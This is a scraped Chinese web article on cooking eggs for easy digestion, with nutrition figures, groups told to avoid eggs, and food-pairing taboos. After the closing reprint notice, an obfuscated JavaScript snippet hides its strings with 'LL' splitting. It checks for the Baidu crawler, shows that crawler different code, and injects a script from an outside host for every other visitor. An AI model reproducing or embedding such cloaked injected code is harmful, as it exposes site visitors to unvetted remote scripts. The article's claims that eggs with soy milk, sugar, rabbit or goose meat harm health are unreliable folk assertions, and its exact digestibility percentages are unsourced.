當(dāng)前位置:首頁(yè) > 飲食 > 烹飪技巧 > 正文

雞蛋越老越難消化 雞蛋怎么做最容易被消化吸收

2019-12-20 21:26:54  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:雞蛋有很多種吃法,可以水煮,可以煎,還可以蒸雞蛋羹……大多數(shù)人會(huì)根據(jù)自己的口味喜好來選擇雞蛋烹調(diào)方式,但是其實(shí)雞蛋的煮法不同,消化

雞蛋有很多種吃法,可以水煮,可以煎,還可以蒸雞蛋羹……大多數(shù)人會(huì)根據(jù)自己的口味喜好來選擇雞蛋烹調(diào)方式,但是其實(shí)雞蛋的煮法不同,消化難易度也不同,特別是消化能力不太好的人,選對(duì)煮雞蛋的方式很重要。那么雞蛋怎樣煮才最容易消化呢?和360常識(shí)網(wǎng)一起來看看吧。

雞蛋越老越難消化 雞蛋怎么做最容易被消化吸收

雞蛋越“老”越難消化

雞蛋煮熟的過程其實(shí)就是蛋白質(zhì)變性和凝膠化的過程,如果雞蛋煮的時(shí)間越久,雞蛋就會(huì)越“老”,也會(huì)越難消化。

雞蛋如果煮得比較嫩,雞蛋蛋白質(zhì)之間互相靠近扎堆的程度還不太嚴(yán)重,包住的水分子比較多,那么口感就是特別細(xì)膩的,一點(diǎn)也不硬。如果一直煮下去,在熱力的作用下,蛋白質(zhì)之間的連接越來越緊密,凝聚程度提高,雞蛋凝膠的硬度越來越高,雞蛋就煮老了。

在雞蛋老硬的狀態(tài)下,牙齒沒法把它研磨成很細(xì)膩的微粒,嚼到大顆粒狀就咽下去了。嚼碎的雞蛋達(dá)到胃以后,胃酸先出動(dòng),把這些微粒泡著,然后胃蛋白酶來消化它。

酶消化食物的時(shí)候,首先要和食物發(fā)生親密接觸,如果顆粒特別細(xì)碎,蛋白酶就能把小顆粒們分別圍住,高效率地分而破之;如果顆粒太大,蛋白酶?jìng)儾坏貌粡耐鈱娱_始慢慢向內(nèi)啃,顯然消化的效率就比較低。

在小腸內(nèi)也是如此。因此,雞蛋煮得越老就會(huì)越難消化。

雞蛋越老越難消化 雞蛋怎么做最容易被消化吸收

雞蛋怎么煮最容易消化?

如果是消化能力強(qiáng)的人,煮雞蛋質(zhì)地是軟點(diǎn)還是硬點(diǎn)問題不大,甚至有的人還會(huì)喜歡“老”雞蛋Q彈的口感。

但對(duì)于老人、小孩或消化不良的人來說,煮得老硬的雞蛋,特別是蛋清部分,他們吃起來不舒服,而且難以消化。這種情況就需要給他們煮容易消化的雞蛋了。

雞蛋最容易消化的方式是蒸蛋羹,在這種額外加入大量水的環(huán)境當(dāng)中,雞蛋很難出現(xiàn)凝聚變硬的現(xiàn)象,蒸出來的口感非常細(xì)膩軟嫩,老人小孩都適合。

如果你不喜歡吃雞蛋羹,也可以煮“嫩雞蛋”。雞蛋放冷水中,水量剛剛沒過雞蛋,大火煮到沸騰立刻關(guān)火,然后繼續(xù)燜4-8分鐘即可。

此外,煎雞蛋通常會(huì)煎得比較嫩,甚至蛋黃只是半凝固,因此會(huì)比煮雞蛋更容易消化,但煎雞蛋其實(shí)也要考慮雞蛋的成熟度,如果煎得很老,同樣會(huì)不好消化。

雞蛋越老越難消化 雞蛋怎么做最容易被消化吸收

【最營(yíng)養(yǎng)的烹飪方法】

雞蛋吃法多種多樣,就營(yíng)養(yǎng)的吸收和消化率來講,煮蛋為100%,炒蛋為97%,嫩炸為98%,老炸為81. 1%,開水、牛奶沖蛋為92. 5%,生吃為30%~50%。由此來說,煮雞蛋是最佳的吃法,但要注意細(xì)嚼慢咽,否則會(huì)影響吸收和消化。不過,對(duì)兒童來說,還是蒸蛋羹、蛋花湯最適合,因?yàn)檫@兩種做法能使蛋白質(zhì)松解,極易被兒童消化吸收。注意:茶葉蛋應(yīng)少吃,因?yàn)椴枞~中含酸化物質(zhì),與雞蛋中的鐵元素結(jié)合,會(huì)對(duì)胃起刺激作用,影響胃腸的消化功能。

雞蛋越老越難消化 雞蛋怎么做最容易被消化吸收

不宜人群

患有肝炎、高熱、腹瀉、膽石癥、皮膚生瘡化膿等病癥者不宜食雞蛋;老年人,尤其是血脂紊亂的人和肝炎病人最好不吃蛋黃,可多吃蛋清;腎炎患者腎功能和新陳代謝減退,尿量減少時(shí),體內(nèi)代謝產(chǎn)物不能全部由腎臟排出體外,若再過多地食用雞蛋,體內(nèi)尿素增多,易使病情加重,甚至出現(xiàn)尿毒癥。所以,任何腎病患者當(dāng)出現(xiàn)腎功能衰竭時(shí)皆忌食雞蛋。

雞蛋不宜與甲魚一同食用。同時(shí),生雞蛋不宜吃,這主要是因?yàn)榻?jīng)常吃生雞蛋會(huì)抑制人體吸收生物素,而缺乏這種營(yíng)養(yǎng)素,可能出現(xiàn)皮膚濕疹、疲勞、食欲不佳、禿頭等問題;雞蛋的膽固醇含量高,也不宜多吃,青少年每天2個(gè)為佳,老年人以每天1個(gè)為宜。

雞蛋越老越難消化 雞蛋怎么做最容易被消化吸收

注意事項(xiàng)

吃蛋必須煮熟,不要生吃,打蛋時(shí)也須提防沾染到蛋殼上的雜菌。嬰幼兒、老人、病人吃雞蛋應(yīng)以煮、臥、蒸、甩為好。毛蛋、臭蛋不能吃。冠心病的人吃雞蛋不宜過多,兒童以每日不超過2個(gè)為宜老年人不超過3個(gè),對(duì)已有高膽固醇血癥者,尤其是重度患者,應(yīng)盡量少吃或不吃,或可采取吃蛋白而不吃蛋黃的方式,因?yàn)榈包S中膽固醇含量比蛋白高3倍,可達(dá)1400毫克每百克。

不可與豆?jié){同食

豆?jié){中含有一種特殊物質(zhì)叫胰蛋白酶,它與蛋清中的卵松蛋白結(jié)合發(fā)生反應(yīng),會(huì)造成營(yíng)養(yǎng)成分的損失,降低二者的營(yíng)養(yǎng)價(jià)值。所以不要吃雞蛋的時(shí)候喝豆?jié){。

不可與糖同食

由于雞蛋中含有豐富的蛋白質(zhì),蛋白質(zhì)中的主要成分是氨基酸,而氨基酸會(huì)和糖發(fā)生反應(yīng)生成果糖基賴氨酸的結(jié)合物,這種物質(zhì)是不易被人體吸收的,特別是對(duì)腸胃功能不好的人來說,對(duì)健康是不利的。

患有腎臟疾病的人應(yīng)慎食雞蛋

雞蛋是人們常吃的食物,很多人都知道它的營(yíng)養(yǎng)價(jià)值很高,卻忽略了吃雞蛋的飲食禁忌。在日常飲食中,雞蛋與白糖、兔肉同吃,是幾個(gè)最大的誤區(qū)。 很多地方有吃糖水荷包蛋的習(xí)慣。其實(shí),雞蛋和白糖同煮,會(huì)使雞蛋蛋白質(zhì)中的氨基酸形成果糖基賴氨酸的結(jié)合物。這種物質(zhì)不易被人體吸收,對(duì)健康會(huì)產(chǎn)生不良作用?!‰u蛋還有一個(gè)飲食禁忌,就是不能與兔肉同吃。《本草綱目》中說:“雞蛋同兔肉食成泄痢。”兔肉性味甘寒酸冷,雞蛋甘平微寒,二者都含有一些生物活性物質(zhì),共食會(huì)發(fā)生反應(yīng),刺激腸胃道,引起腹瀉。

吃完雞蛋后不要立即吃鵝肉、兔肉

雞蛋還不能與兔肉、鵝肉等肉類一起吃。李時(shí)珍在《本草綱目》中說:“雞蛋同兔肉食成泄痢。”那是因?yàn)橥萌庑晕陡屎崂?,而雞蛋甘平微寒,二者都含有一些生物活性物質(zhì),共食會(huì)發(fā)生反應(yīng),刺激腸胃道,引起腹瀉。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}